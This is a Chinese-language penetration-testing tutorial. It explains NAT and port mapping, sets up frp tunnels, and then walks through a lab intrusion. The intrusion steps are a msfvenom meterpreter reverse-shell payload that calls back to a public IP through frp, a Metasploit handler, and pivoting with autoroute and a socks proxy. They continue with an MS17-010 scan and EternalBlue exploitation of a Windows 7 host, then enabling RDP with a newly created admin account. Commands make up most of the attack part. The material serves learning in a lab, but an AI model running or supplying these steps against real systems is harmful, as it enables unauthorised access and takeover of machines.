1.内网发布服务在公网访问

服务器对外发布服务原理

内网主机是用一个ip进行上网的,那么如何让互联网其他主机访问我的内网主机呢?

分析NET工作过程可以得知整个过程进行两次ip地址转换。

第一次请求包的源ip地址源地址转化称为SNAT其中S表示source|源

第二次转换答应包的目的地址也被称为目的地址转换DNATD表示Destination|目的地,DNAT转换可以使互联网访问到内网的主机,单独配置DNAT就可以实现访问内网主机啦!

通过端口映射发布服务的方式:

端口映射是比较灵活的映射内网各个不同主机的方式,需要对外发布的服务端口,端口映射的配置方式也比较简单,一般情况可通过路由器配置,但是通过路由器配置端口映射需要有一个前提条件,就是你路由器能够拥有一个公网IP,按正常逻辑来说我们路由器拨号成功后运营商会分配一个公网IP给路由器,但是对于运营商来说这样对IPv4的资源也是种负担,如果每个人都有一个公网IP ,那么国内的IPv4资源将会非常紧张,我 国总计约有 3 亿个IPv4地址,而我国网民何止3亿。所以运营商会在路由器拨号中再嵌套一层内网,也就是说我们路由器拨号得到的IP地址也是一个内网地址,然后由运营商的路由网关再做NAT地址转换进行上网。

查看是否有公网地址 登录网关查看WAN IP地址

我家里不是 枯了

下面操作只是理论没有实操

查看kali的Mac地址

添加映射规则:
端口,这里不推荐大家在外部端口使用 8 0 端口,因为默认运营商会封杀 8 0 端口,建议使用 1 000 以上
的端口号。

访问公网地址+端口号

这样我们就能用公网访问内网啦

无公网IP配置端口映射

这需要借助第三方服务花生壳

但要买域名

终止

2.Frp搭建内网穿透服务器

2.1.内网穿透的使用场景

内网穿透从本质上来讲也是端口映射,两者都是将内网地址映射到公网可访问的地址,而区别是端口映射直接在路由器中配置即可,而内网穿透配置的端口映射则需要客户端和服务端进行绑定后实现,相当于客户端和服务端之间建立了一条隧道,然后访问服务端的请求会通过隧道转发给内网主机,该情况多用于没有公网IP的情况下使用。

2.2安装配置 frp 服务器映射内网 SSH 服务

需要台服务器

下载frp_amd64.tar.gz

tar xf frp_0.37.0_linux_amd64.tar.gz

frpc 客户端程序
frpc_full.ini 客户端完整配置文件
frpc.ini 客户端简易配置文件
frps 服务端程序
frps _full.ini 服务端完整配置文件
frps .ini 服务端简易配置文件

启动服务端
查看配置文件内容。仅配置了侦听端口7000 ,这是服务端和客户端通讯的端口。

[common]
bind_port = 7000

./frps -c ./frps.ini

在本地 kali 启动客户端
tar xf frp_0.37.0_linux_amd64.tar.gz

cd frp_0.37.0_linux_amd64/

vim frpc.ini
[common]
server_addr = xxx 修改 server 地址为云主机公网 I P
server_port = 7000
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000

common配置指定了服务端 I P 地址和端口,这样客户端可以和服务端之间建立通讯。
ssh配置中指定了协议为 tcp ,本地 IP 127.0.0.1 本地端口: 22 ,映射到服务端端口 6 000如果配置成功访问云主机公网 IP 的 6000 端口表示远程登录到我们内网 kali 主机 22 端口。

./frps -c ./frps.ini

成功后查看server端日志

发现已经可以监听到6000

ssh连接公网ip6000

# ssh root@ip_addr -p6000

我们是以127.0.0.1登录的ssh服务 查看

w

graph LR
A[ssh客户端]
A-->A1[ssh网关]
A1-->A2[Frp服务器]
A2-->A3[Frp客户端]
A3-->A4[内网ssh服务]

  1. SSH 客户端访问公网将自己的 SIP 转换为公网 I P

  2. FRP 服务器收到访问代理端口的请求,将 DIP 转换为后端服务器 I P 地址。

  3. FRP 客户端收到来自服务器的流量将 S IP 转换为 127.0.0.1

  4. 内网主机收到来自 FRP 客户端的 S SH 登录请求。登录 127.0.0.1

注: SIP表示源地址,DIP表示目的地址,DPORT表示目标端口

拓:映射局域网内其他主机服务

修改local_ip为内网其他主机

local_ip = 192.168.3.26

重新启动客户端

./frpc -c frpc.ini

ssh ubuntu@82.157.174.226 -p6000

这时会报错因为ssh服务以为我们连接的是同一台机子,这时删除known_hosts

remove with

# ssh-keygen -f “/root/.ssh/known_hosts” -R “[82.157.174.226]:6000”

ssh ubuntu@82.157.174.226 -p6000

w #查看服务

配置frp仪表盘和认证

我们前面启动服务端仅配置了侦听端口,实际上frp 服务端有很多配置参数,比如 frp 可以提供web 界面查看所有访问请求的详细信息。以及服务端和客户连接时进行认证,否则其他人都可以映射到你的 frp 服务器。

vim frps.ini
[common]
bind_port = 7000
vhost_http_port = 80 #虚拟主机端口,如果要发布 web 服务则需配置该项。
dashboard_port = 7500 #仪表盘端口
dashboard_user = admin#仪表盘用户名
dashboard_pwd = 123456 #仪表盘密码
authentication_method = token #认证使用 token
token = admin123456 #token
配置文件必须删除中文注释

启动服务端 | 服务器

./frps -c ./frps.ini
/frp_0.37.0_linux_amd64
vim frpc.ini
[common]
server_addr =82.157.174.226
server_port = 7000
token = admin123456 #配置 token 必须和 server 一致
[ssh]
type = tcp
local_ip = 192.168.3.26
local_port = 22
remote_port = 6000
[web]
type = http # 协议 http
local_port = 80 #本地端口
custom_domains = domain name #指定域名, web 服务需要域名访问才可以。

启动客户端

./frps -c ./frps.ini
配置DNS解析,如果是实际场景可以在域名解析中将域名解析到 V PS 服务器即可。
HOSTS文件: C:\Windows\System32\drivers\etc\hosts 添加行
149.129.65.126 domain name

访问web服务 http://domain_name/

访问仪表盘用户名:admin 密码: 123456

仪表板功能比较简洁,就是一些基础配置信息以及访问请求图标。

kali配置MSF接收来自公网的shell

服务端配置文件不用改变,我们修改客户端配置文件即可。

在kali中配置

vim frpc.ini
[common]
server_addr = 82.157.174.226
server_port = 7000
#authentication_method = token
token = admin123456
[ssh]
type = tcp
local_ip = 192.168.3.26
local_port = 22
[web]
type = http
local_port = 80
custom_domains = domain_name
[msf]
type = tcp
local_port = 4444
local_ip = 192.168.3.26
remote_port = 8000

添加MSF映射配置即可,协议 tcp 本地端口: 4444 本地 ip 192.168.3.26 映射端口 8000

生成
payload ,LHOST 指定为公网 IP LPORT 指定为公网映射端口。
msfvenom -a x64 –platform linux -p linux/x64/ me terpreter /reverse_tcp LHOST=82.157.174.226 LPORT= 8000 -b “\x00” -f elf -o test

复制到Ubuntu上

scp test root@192.168.3.26:/root/

启动MSF 并配置侦听
use exploit/multi/handler
exploit(multi/handler) > set payload linux/x64/ me terpreter/reverse_tcp
exploit(multi/handler) > set LHOST 192.168.3.24
exploit(multi/handler) > set LPORT 4444
exploit(multi/handler) > exploit

LHOST 和 LPORT 要和 frpc.ini 配置文件中的 local_ip 和 local_port 一致。

在Ubuntu26上执行命令

chmod +x test

./test

MSF 成功接收 shell

跨网段获取内网shell

使用 MSF 自带代理功能实现内网渗透

当前实验的前提是已经通过
MSF 获取到内网 shell ,就比如内网对外网发布 web 服务,我们通过web 服务获取 shell ,然后通过 web 主机对内网进行渗透。

环境拓扑

graph LR
A(kali:192.168.3.24)
B(内部部接口: 192.168.88.26)
A-->A1(外部接口: 192.168.3.26)
B-->B1(内网主机win7: 192.168.88.28)

环境说明:
DMZ 主机可以是 Win 也可以是 Linux 。区别在于 win 7 可以通过 MS17 010 获取shell Linux 则推荐生成 payload 直接运行,本环境使用 Linux 。
Kali主机网络模式:桥接
DMZ 主机网络模式:桥接 仅主机
内网主机Win7 网络模式:仅主机

msfvenom -a x64 –platform linux -p linux/x64/ me terpreter /reverse_tcp LHOST=82.157.174.226 LPORT= 8000 -b “\x00” -f elf -o test

scp test root@192.168.3.26:/root/

配置侦听:
msfdb run

use exploit/multi/handler
exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
exploit(multi/handler) > set LHOST 192.168.1.53
exploit(multi/handler) > set LPORT 4444
exploit(multi/handler) > exploit

获取内网网段
meterpreter > run get_local_subnets
Local subnet: 192.168.3.0/255.255.255.0

Local subnet:
192.168.88.0 /255.255.255.0
配置路由,通过配置路由可以让我们Kali 主机访问目标网络。
meterpreter > run autoroute -s 192.168.88.0/24

查看路由信息

run autoroute -p

查看arp缓存可以帮助我们快速获取与该主机通讯过的内网主机信息。

meterpreter > arp

如果ARP 没有获取有用的信息也无所谓,可以通过配置代理后对内网扫描。

配置socks 代理
meterpreter > background
exploit(multi/handler) > use auxiliary/server/socks_proxy
auxiliary( server/socks_proxy ) > set srvhost 192.168.3.24
auxiliary( server/socks_proxy ) > run

#vim /etc/proxychains4.conf

注释掉第
52 行
52 #proxy_dns
文件默认修改最后一行为我们刚刚设置的代理,默认的代理地址是暗网代理。
socks 5 192.168.3.24 1080

通过代理扫描内网。
proxychains 4 nmap -Pn -sT -p 445 –script=smb-vuln-ms17-010.nse 192.168.88.0/24

-Pn :扫描主机检测是否受到数据包过滤软件或防火墙的保护。
-sT :扫描 TCP 数据包已建立的连接 connect

通过代理启动msf
proxychains 4 msfdb run

use exploit/windows/smb/ms17_010_eternalblue
我们使用代理访问内网所以
payload 选择 bind 模式。
msf6
explo it(windows/smb/ms17_010_eternalblue) > set payload
windows/x64/meterpreter/bind_tcp
msf6
exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.88.28
msf6
exploit(windows/smb/ms17_010_eternalblue) > set lport 9988
msf6
exploit(windows/smb/ms17_010_ eternalblue) > run
注:MSF 的代理功能并不是很稳定,如果执行失败可重复执行。 若是重复无果,可放弃使用 M SF 代
理,选择 Frp 搭建内网代理。

开启RDP 远程桌面
meterpreter > run post/windows/manage/enable_rdp
创建远程桌面用户
meterpreter > run
post/windows/manage/enable_rdp USERNAME=admin
PASSWORD=123456

映射内网主机远程桌面端口到kali

meterpreter > portfwd add L 192.168.1.53 l 2323 p 3389 r 192.168.88.57

kali通过远程桌面登录内网主机
rdesktop u xuegod p 123456 192.168.3.24:2323
物理机通过远程桌面连接内网主机
Win+R 运行: mstsc

win10远程连接 账号密码

通过 Frp 内网穿透来实现内网渗透

配置frp服务器

vim frps.ini

[commom]
bind_port = 7000
authentication_method = token
token = admin123456

启动服务端

0.33.0_linux_amd64# ./frps c frps.ini

暂停 与上面类似